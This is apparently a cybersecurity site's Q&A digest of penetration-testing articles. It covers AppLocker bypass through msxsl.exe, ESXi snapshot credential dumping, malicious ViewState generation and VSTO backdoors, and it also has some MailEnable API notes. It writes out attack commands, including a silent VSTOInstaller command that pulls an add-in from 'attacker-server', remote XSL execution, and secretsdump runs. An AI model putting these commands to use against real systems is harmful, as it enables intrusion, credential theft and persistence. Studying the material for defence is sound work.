Cybersecurity Q&A
Browse concise answers derived from our published, source-linked cybersecurity coverage.
Can msxsl.exe load scripts remotely? If so, how?
Yes, msxsl.exe supports remote execution by supplying URLs as both the XML source and the XSL file. For example: `msxsl.exe https://example.com/script.xml https://example.com/transform.xsl`. This allows an attacker to host the malicious XML and XSL files on a remote server and execute them without writing files to disk. This technique is noted in the article and was originally shared by Evi1cg.
What additional capabilities does combining msxsl with .NET script loading provide?
By leveraging previous techniques for loading .NET programs via JScript, msxsl.exe can execute C# code, which in turn enables running shellcode, mimikatz, or PowerShell scripts. This extends the bypass beyond simple calculator launches to full post‑exploitation actions. The approach is referenced in the article's discussion of [Loading .Net Programs Using JS] and is applied through modified XML scripts.
How can msxsl.exe be used to bypass AppLocker restrictions on script execution?
Msxsl.exe is a Microsoft-signed command-line tool that processes XSL transformations. By crafting an XML file that contains embedded JScript or VBScript code, an attacker can invoke `msxsl.exe` with that XML as input. Because the binary is trusted by AppLocker, the script runs without triggering script execution rules. This technique is detailed in the article [Use msxsl to bypass AppLocker](/news/use-msxsl-to-bypass-applocker).
How can an attacker extract all domain user hashes from a snapshot of a domain controller running on VMware ESXi?
After obtaining a snapshot with memory, use volatility's `filescan` plugin to locate the `ntds.dit` file (the Active Directory database) and extract it with `dumpfiles`. Also extract the SYSTEM and SECURITY registry hive files. Then locally run `secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local` to dump all domain user password hashes. This allows the attacker to compromise the entire domain. Alternatively, the mimikatz plugin in volatility can extract credentials from the `lsass` process directly, but requires downloading the full `.vmem` file. This domain-wide credential theft is a high-impact outcome of the lateral movement technique described in the [original article](/news/penetration-techniques-lateral-movement-from-vmware-esxi-to-windows-virtual-machines).
What is the purpose of enabling the dcui user and remote SSH on VMware ESXi when planning lateral movement to a Windows VM?
By default, the `dcui` user is an administrator but cannot log in remotely. An attacker sets a password for `dcui`, modifies the shell in `/etc/passwd` from `/sbin/nologin` to `/bin/sh`, and enables SSH with `vim-cmd hostsvc/enable_ssh`. This creates a persistent remote access channel to the ESXi host, allowing the attacker to repeatedly manage snapshots and extract credentials without needing the initial foothold. This step is crucial for maintaining access during the lateral movement process, as detailed in the [Penetration Techniques article](/news/penetration-techniques-lateral-movement-from-vmware-esxi-to-windows-virtual-machines).
How can volatility be used to extract local user hashes and LSA secrets from a snapshot's .vmem file?
First, identify the correct memory profile using `imageinfo` (e.g., `Win2016x64_14393`). Then run the `hashdump` plugin to extract local user password hashes from the SAM registry hive: `volatility -f <file> --profile=<profile> hashdump`. For LSA secrets (including cached domain credentials and service account passwords), use the `lsadump` plugin. These commands parse the registry hives present in the memory dump. The extracted hashes can be used for pass-the-hash or offline cracking, enabling lateral movement. This process is a core part of the lateral movement chain described in the [original article](/news/penetration-techniques-lateral-movement-from-vmware-esxi-to-windows-virtual-machines).
What commands are needed to create a snapshot that includes the virtual machine's memory, and why is that important for credential extraction?
To include memory when creating a snapshot, use `vim-cmd vmsvc/snapshot.create <vmid> <name> <description> true true`. Setting the fourth parameter to `true` ensures the memory (`.vmem` file) is captured. Without this flag, the snapshot lacks the RAM contents, which are critical because processes like `lsass.exe` (which hold active credentials) reside only in memory. The `.vmem` file allows tools like volatility to extract live credentials, including NTLM hashes and Kerberos tickets, enabling lateral movement from the ESXi host to the Windows VM. This approach complements other credential theft techniques such as [using PHP scripts to obtain Net-NTLM hashes from browsers](/news/penetration-techniques-using-php-scripts-to-obtain-net-ntlm-hash-from-browsers).
How can an attacker use VMware ESXi snapshot files to extract credentials from a Windows domain controller VM?
An attacker with control over VMware ESXi can create a snapshot of a target Windows virtual machine (including memory) using commands like `vim-cmd vmsvc/snapshot.create`. The resulting `.vmem` file (which captures the VM's RAM) can then be analyzed with the forensic tool [volatility](https://github.com/volatilityfoundation/volatility). By running plugins such as `hashdump` and `lsadump` against the snapshot, the attacker retrieves local user password hashes and LSA secrets. This technique enables lateral movement from the hypervisor to the guest OS, similar to other post-exploitation lateral movement methods like [exploiting net session](/news/penetration-techniques-exploitation-of-net-session-in-windows) or [using WMIC](/news/penetration-basics-usage-of-wmic).
How can I download attachments from a MailEnable email via the API?
After viewing an email and obtaining the `MessageID` and `Filename` from the XML response, send a request to `/MEWebMail/Mondo/lang/sys/Forms/MAI/GetAttachment.aspx` with `Folder`, `MessageID`, and `Filename` parameters. The attachment can be saved as text or binary. For a full implementation, see the [MailEnable Development Guide](/news/mailenable-development-guide).
How do I list email folders and view emails using the MailEnable API?
First, obtain a `ME_VALIDATIONTOKEN` by accessing `/mewebmail/Mondo/Servlet/request.aspx?Cmd=GET-MBX-OPTIONS&Scope=2`. Then, request folder contents via `/MEWebMail/Mondo/Servlet/asyncrequest.aspx?Folder=inbox` (or other folders) with the token. The response is XML containing email IDs and brief info. To view a specific email, use `/MEWebMail/Mondo/Servlet/request.aspx` with `Folder`, `ME_VALIDATIONTOKEN`, and `ID` parameters. Details are in the [MailEnable Development Guide](/news/mailenable-development-guide).
What are the steps to log in to MailEnable programmatically using Python?
To log in, send a POST request to `/mewebmail/Mondo/Servlet/request.aspx?Cmd=LOGIN&Format=JSON` with parameters `txtUsername`, `txtPassword`, and `loginParam` set to `SubmitLogin`. A successful login returns a JSON response where `bReportLoginFailure` is `False`. The Python script in the [MailEnable Development Guide](/news/mailenable-development-guide) demonstrates this process.
How can I determine the MailEnable version from the web interface?
You can determine the MailEnable version by accessing the login page `/mewebmail/Mondo/lang/sys/login.aspx` and viewing the source code for a `?v=` parameter. For example, `v=9.84` corresponds to the version. Alternatively, the version can be obtained via the MailEnableAdmin.msc diagnostic tool. For more details, see the [MailEnable Development Guide](/news/mailenable-development-guide).
What types of malicious actions can be achieved through XAML data in ViewState generation?
Four types are introduced: executing commands (e.g., launching notepad), writing a file (e.g., a webshell), setting HTTP response headers, and setting the response body. Each uses specific XAML namespaces from System.Diagnostics or System.Web, and care must be taken with XAML escape characters, especially when writing files that contain code.
What is the signature generation process for a ViewState?
The signature is generated by first converting the validationKey from hex to bytes. The generator (a hex string) is converted to a 4-byte little-endian integer. The serialized data is concatenated with these 4 bytes, then passed to HMACSHA1 with the validationKey to compute a hash. This hash is appended to the original serialized data before Base64 encoding, a process derived from code in the CVE-2020-0688 exploit and critical for server acceptance.
What advantage does using ysoserial.net provide for generating ViewState?
Using ysoserial.net skips the step of manually serializing XAML data. By compiling a modified version of ysoserial.net that outputs the Base64-encoded serialized XAML data, attackers can directly obtain the serialized payload. They then only need to compute the signature (using the same HMACSHA1 process) to generate the final ViewState, streamlining development and reducing dependencies as detailed in the [original article](/news/dotnet-deserialization-program-implementation-for-generating-viewstate).
How is a ViewState generated from XAML data in the first method described?
The first method constructs XAML data (e.g., for command execution or writing a webshell), then serializes it using Microsoft.PowerShell.Editor.dll to obtain serialized XAML bytes. The signature is computed by combining the serialized data with the generator bytes and applying HMACSHA1 with the validationKey. Finally, the serialized data and signature are concatenated and Base64-encoded to form the ViewState, with complete implementation available in the open-source project linked in the article.
What is the role of ViewState deserialization in exploiting Exchange file read/write permissions?
In Exchange attacks where file read/write permissions are obtained (as covered in [Penetration Techniques - From Exchange File Read/Write Permissions to Command Execution](/news/penetration-techniques-from-exchange-file-read-write-permissions-to-command-execution)), modifying web.config to set a known machineKey allows attackers to craft a malicious ViewState. When the server deserializes this ViewState using ObjectStateFormatter, it executes attacker-controlled code, bypassing the need for user credentials.
How can defenders detect a VSTO-based backdoor on a system?
Check Control Panel's Programs and Features for suspicious VSTO add-ins (they appear in the program list even though their uninstall keys are not in the standard registry location). Also inspect Office's COM add-ins list. Note that disabling macros does not affect VSTO add-ins, so this persistence method bypasses common macro security controls.
How can a VSTO backdoor be deployed silently and remotely?
After signing and registering the certificate, attackers use VSTOInstaller.exe with the `/s` (silent) and `/i` (install) flags, pointing to a remote URL hosting the VSTO manifest. For example: `VSTOInstaller.exe /s /i http://attacker-server/AddIn.vsto`. This downloads and installs the add-in without any user interaction, enabling stealthy remote deployment.
How do attackers bypass the publisher verification prompt when installing a malicious VSTO add-in?
Attackers sign the VSTO add-in with a self-signed certificate that mimics a trusted entity (e.g., 'CN=Microsoft Windows') using tools like makecert.exe and pvk2pfx.exe. They then register this certificate in the local machine's TrustedPublisher and root stores using certmgr.exe, so VSTOInstaller.exe silently accepts the add-in without displaying a trust warning.